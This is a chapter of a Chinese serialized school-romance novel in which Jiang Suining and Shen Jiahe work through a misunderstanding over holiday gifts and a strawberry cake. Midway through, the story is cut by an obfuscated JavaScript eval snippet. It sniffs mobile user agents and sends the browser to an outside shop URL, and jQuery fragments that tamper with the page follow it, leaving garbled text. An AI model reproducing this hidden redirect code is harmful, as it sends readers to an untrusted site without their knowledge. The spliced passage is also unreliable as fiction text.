8. 什么身份

作品:《书呆子他又争又抢

    这个晚上沈嘉和睡得不是很踏实,胸口像是被压着一块石头,让他觉得呼吸有些困难。梦境中,频繁闪过姜岁宁和那个男生的身影,看着他们越靠越近,然后离他越来越远。


    也许正因为如此,第二天醒的很早,照镜子的时候眼下泛着黑眼圈,沈嘉和用冷水洗了洗脸,等坐到餐桌上,点开聊天框,把和姜岁宁的聊天记录全部删除,随后把手机放到一边,拿出题目开始写,一如往常。


    国庆节结束前一天,姜岁宁给沈嘉和发消息,但是他还是那个冷冷的态度,这样几次,姜岁宁渐渐有些蔫了。


    “怎么感觉是热脸贴冷屁股。”姜岁宁趴在书桌上,指尖摆弄着桌上的多肉,最后把试卷整理好,“算了,反正明天上学,一切等上学再说。”


    国庆节假期,许知柚和程逸阳各自跟着父母出国游玩,许知柚去的是埃及,程逸阳去的是澳大利亚。


    “岁岁,你看这是埃及的安德森猫,还有巧克力。”姜岁宁刚入座,教室里人还不是很多,许知柚把东西递给她。


    姜岁宁说了声谢谢,细细端详了起来,做工很精致,和网上看的很像。


    许知柚又递了一带巧克力过来,姜岁宁疑惑的看了她一眼,“我有了。”


    许知柚指了指沈嘉和的位置,“给他的。”


    姜岁宁不好意思的笑了笑,刚放好没多久,像是突然想到什么,“柚子,我和你说,沈嘉和很不对经,他最近都不理我了。”


    许知柚把最后一袋放到程逸阳的桌上,听到这句话,回头,头趴在椅子上方,“仔细展开。”


    姜岁宁把最近两天的事情和许知柚说了,许知柚听完思考一会,“可能是因为他心情不好吧。”


    但等她又看了看姜岁宁,她紧皱着眉,,愁眉苦思的样子,她拍了拍姜岁宁,好心提醒道,“岁岁,我给你提个醒,你对沈嘉和有些不一样。”


    姜岁宁如梦初醒,比反驳更先来的是她红透的耳尖,“没有啊,我对你也这样啊,才没有。”


    说到最后,语气越小,她把头埋在手臂里,有些不愿意看许知柚,似乎这样子就可以不用面对后面的问话了。


    许知柚拍了拍她的头,“有没有你自己心里清楚,你对其他男孩子有这样吗?”剩下的,许知柚没有多问,只是把作业从书包里拿出来,开始整理。


    姜岁宁就着这个姿势,没有那么热了,当她开始回忆和沈嘉和的相处,她确实是一个比较自来熟的人,但如果对面表现得很冷淡,她便不会再多骚扰。


    但是这个原则什么是什么时候被打破的,一开始只是因为觉得他有些好看,帮他顺手扇风。后来知道他也帮自己扇风,说不清楚什么感受,但似乎从那一刻变了。


    她喜欢问他题目虽然有些会了。她喜欢给他分享自己的日常,一开始他其实回复的很简单,但后来不是的,因此她在这种交流中收获幸福,所以有些习以为常了,认为他本身就是那样的人。


    也许正是因为沈嘉和之前回复的太好了,现在一下子冷淡,所以一时间有点适应不了吧,姜岁宁想着。


    她没有动,似乎有人过来了,因为有因为人移动带来的风,她听到了程逸阳的声音,“不要太感谢我,给你们从澳大利亚带的特产。”


    他的话语后面是脚步声,有人站在她桌前不动,鼻尖传来一股熟悉的味道,清爽的舒肤佳味道。


    姜岁宁抬头,她的头发因为一直埋着头,有些显得乱乱的,沈嘉和站在面前,身后背着包,他没有说话。


    程逸阳把东西放到桌子上,大多是礼盒装的巧克力,坚果,甚至还有几瓶营养软糖。


    姜岁宁因为刚刚还在思考和沈嘉和的关系,现在一下子看到真人站在自己面前,头脑有些发懵,“你怎么不坐啊?”


    刚问完,姜岁宁就觉得自己蠢了,她坐在外面,沈嘉和要进去一定是要她起身的,这么想着,她连忙起身。


    也许是因为长期坐着,再加上剧烈的起身,姜岁宁腿发麻,下意识的往前扑去。


    沈嘉和眼疾手快,手扶着她的肩膀,“小心。”


    姜岁宁脸一下子红了,天哪,丢人丢大发了,“没事,你进来吧。”说着,慢慢移动,克服着腿部传来的麻意。


    沈嘉和把书包挂在椅子后面,坐了下来,刚刚触碰姜岁宁的指尖有一下没一下的摩擦着。


    那边,许知柚似乎选好了,“怎么你也是巧克力?”她拿起一盒巧克力又放下,这一桌子的品类和她的简直重合度高的可怕,难道他们去的是一个地方?


    程逸阳被气笑了,拿起营养软糖放到许知柚面前,“是啊,这个也是巧克力,想来我们许知柚小姐也是瞧不上的,那我拿走算了。”说着,还叹息着,看上去十分可惜的样子。


    许知柚一下子把营养软糖拿过来,“没事,我挺喜欢巧克力的。”总共她让程逸阳带了两罐,一个是她的,还有一个是姜岁宁的。


    把罐子放到姜岁宁桌上,她看见姜岁宁脸红红的,手碰了碰,姜岁宁反应很大,一双双眼睛带着羞意。


    许知柚刚想开口的嘴,顺带看了眼沈嘉和,发现他摊开的作业也是没动一个字,在心里摇头叹气,这两个人。


    程逸阳又让姜岁宁选了几个东西,剩下的巧克力因为太甜了,沈嘉和又不喜欢吃甜的,全部给苏浩然了。


    一整个上午,老师都在讲假期作业,一节课平均要讲两张,姜岁宁本来想问问沈嘉和是不是心情不好,但是一到下课,因为课上接容量太多,只能昏死过去,没有多余时间解释。


    也许是因为太困了,姜岁宁和许知柚说了一句不去吃饭,让她给自己带个面包就行。


    大约午饭时间过了一半,教室里就有人进来了,姜岁宁睡得不是很沉,心想,“谁吃的这么快。”便听见脚步声往自己这边靠近,。


    迷迷糊糊睁开眼,是沈嘉和,手里不知道拿着什么东西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549596|204292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,姜岁宁揉了揉眼,起身,“你怎么吃这么快?”


    沈嘉和把手上的东西放到姜岁宁桌子上,是草莓蛋糕,“许知柚让我带给你的。”


    姜岁宁刚睡醒,正好有些饿了,把包装拆开,挖了一勺,草莓的甜香味在舌尖蔓延,让她幸福的弯着眼。


    沈嘉和用余光看着姜岁宁,看着她这么开心,嘴角勾起浅浅的笑容。


    当时沈嘉和下课的时候,听到两个人的对话,许知柚说因为蛋糕很畅销不一定可以抢到,姜岁宁嘴上说没事,但看上去还是有些失落。


    因此,他先去买的蛋糕,后面本来是打算吃饭的,但也许是早上吃的不少还没消化,或者是脑海里浮现着姜岁宁一个人孤单的呆在教室里,所以就先回来了。


    姜岁宁吃到一半,对上沈嘉和看她,下意识的问道,“你是不是最近几天心情不好。你给我发消息很敷衍我。”


    “没有。”沈嘉和否认的很快,“就是这几天老师给我安排的其他作业让我有点烦了,所以可能有点没空回复。”


    沈嘉和很想说,是因为看到你和别的男生在一起,看到你对别人笑得那么开心,平常一直找自己的你在那天没有找他。


    但这些话他不会说,他站在什么什么身份说这些话呢,如果只是朋友的话,那这些太捷越了。


    可除了朋友,他又想要什么身份呢,似乎这些话太难开口。


    沈嘉和第一次感受到原来姜岁宁教的方法是不对的,人不能以自己开心为重,像现在他很不开心,但他没法开口。


    姜岁宁觉得沈嘉和这个理由有些牵强,但也没有再多问下去了,“那下次这种情况我你提前和我说,你要以自己事情为重。”


    沈嘉和笑着说好,姜岁宁把蛋糕吃完了,就继续趴下来睡一会。


    吃饭时间过的差不多了,大多数人都回来了,江浩然和程逸阳不知道在聊什么,笑得十分开心。


    程逸阳看见沈嘉和,回到座位,说,“沈嘉和,我听说运动会要增加一个演出,你知道是谁不?”


    那边许晴和是和许知柚一起回来的,接话很快,“宋翊学长!”说着,很激动的来到程逸阳附近,开始说着宋翊的光辉事迹。


    “不是说他以前还打架吗?”江浩然坐在旁边,他只是听说过,还是外面打球的朋友说他打架很厉害。


    许晴和瞥了江浩然一眼,“那是以前,现在他是不仅成绩好,长得也帅,这次校庆就是他去小提琴,听说同台是弹琴的,也不知道是谁。”


    姜岁宁早就被这几人吵醒了,许知柚看了眼姜岁宁,“是不是你那个邻家哥哥?”


    姜岁宁点了点头,许晴和听到这,晃了晃姜岁宁的肩膀,“你和宋翊学长认识?”


    “嗯。”


    许晴和看到姜岁宁这么平静,心里还是难以掩饰激动,“那你知道是谁和他一起弹琴吗?”


    姜岁宁狡黠一笑,指了指自己,“我。”